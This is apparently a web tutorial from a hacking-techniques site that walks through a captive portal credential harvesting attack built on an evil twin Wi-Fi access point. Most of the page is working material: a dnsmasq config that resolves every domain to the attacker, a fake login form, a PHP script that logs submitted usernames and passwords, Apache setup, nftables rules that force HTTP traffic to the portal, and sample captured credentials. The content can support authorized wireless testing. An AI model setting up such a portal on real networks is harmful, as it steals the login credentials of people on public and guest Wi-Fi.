Skip to content
HackIndex logo

HackIndex

Captive Portal Credential Harvesting

2 min read Mar 17, 2026

A captive portal rogue AP combines an evil twin with a fake login page. Clients connecting to the open evil twin AP are redirected to a credential harvesting page regardless of what URL they try to visit. The page mimics the legitimate network's portal or a generic authentication page. Submitted credentials are logged server-side. This technique is effective against networks where users expect to authenticate through a portal such as hotel, cafe, or guest corporate networks.

This builds on the evil twin AP setup. Have hostapd-mana running with dnsmasq serving DHCP on wlan1 and the AP interface assigned 192.168.99.1 before continuing.

Configure dnsmasq for DNS Redirect

Redirect all DNS queries to the attacker's IP so any domain resolves to the portal page:

/tmp/dnsmasq-portal.conf

interface=wlan1
dhcp-range=192.168.99.2,192.168.99.254,255.255.255.0,12h
address=/#/192.168.99.1
no-resolv
┌──(kali㉿kali)-[~]
└─$ dnsmasq -C /tmp/dnsmasq-portal.conf --no-daemon

address=/#/192.168.99.1 resolves every DNS query to the portal IP. Clients trying to reach any website get the attacker's IP back from DNS and land on the portal page.

Create the Credential Harvesting Page

Create a simple login page that logs submitted credentials:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /var/www/html/portal

/var/www/html/portal/index.html

<html>
  <body>
    <h2>Network Authentication Required</h2>
    <form method="POST" action="/portal/capture.php">
      Username: <input type="text" name="username"><br>
      Password: <input type="password" name="password"><br>
      <input type="submit" value="Connect">
    </form>
  </body>
</html>

/var/www/html/portal/capture.php:

<?php
$log = date('Y-m-d H:i:s') . ' | ' . $_SERVER['REMOTE_ADDR'] . ' | ' . $_POST['username'] . ' | ' . $_POST['password'] . "\n";
file_put_contents('/tmp/portal-creds.txt', $log, FILE_APPEND);
header('Location: http://google.com');

Configure Apache to Serve the Portal

/etc/apache2/sites-available/portal.conf:

<VirtualHost *:80>
    DocumentRoot /var/www/html/portal
    DirectoryIndex index.html
    <Directory /var/www/html/portal>
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>
┌──(kali㉿kali)-[~]
└─$ a2ensite portal.conf
┌──(kali㉿kali)-[~]
└─$ a2enmod php8.2
┌──(kali㉿kali)-[~]
└─$ systemctl start apache2

Redirect HTTP Traffic with nftables

Force all HTTP traffic from connected clients to the local Apache server regardless of the destination they requested:

┌──(kali㉿kali)-[~]
└─$ nft add table ip nat
┌──(kali㉿kali)-[~]
└─$ nft add chain ip nat PREROUTING { type nat hook prerouting priority -100 \; }
┌──(kali㉿kali)-[~]
└─$ nft add rule ip nat PREROUTING iif wlan1 tcp dport 80 dnat to 192.168.99.1:80

This redirects all TCP port 80 traffic arriving on wlan1 to the local portal. Combined with the DNS redirect from dnsmasq, clients hit the portal page for every HTTP request regardless of what domain they type.

Monitor Captured Credentials

┌──(kali㉿kali)-[~]
└─$ tail -f /tmp/portal-creds.txt
2024-03-15 19:22:14 | 192.168.99.12 | john.smith | Summer2024!

Clean Up nftables Rules

Remove the redirect rule when finished:

┌──(kali㉿kali)-[~]
└─$ nft flush table ip nat

References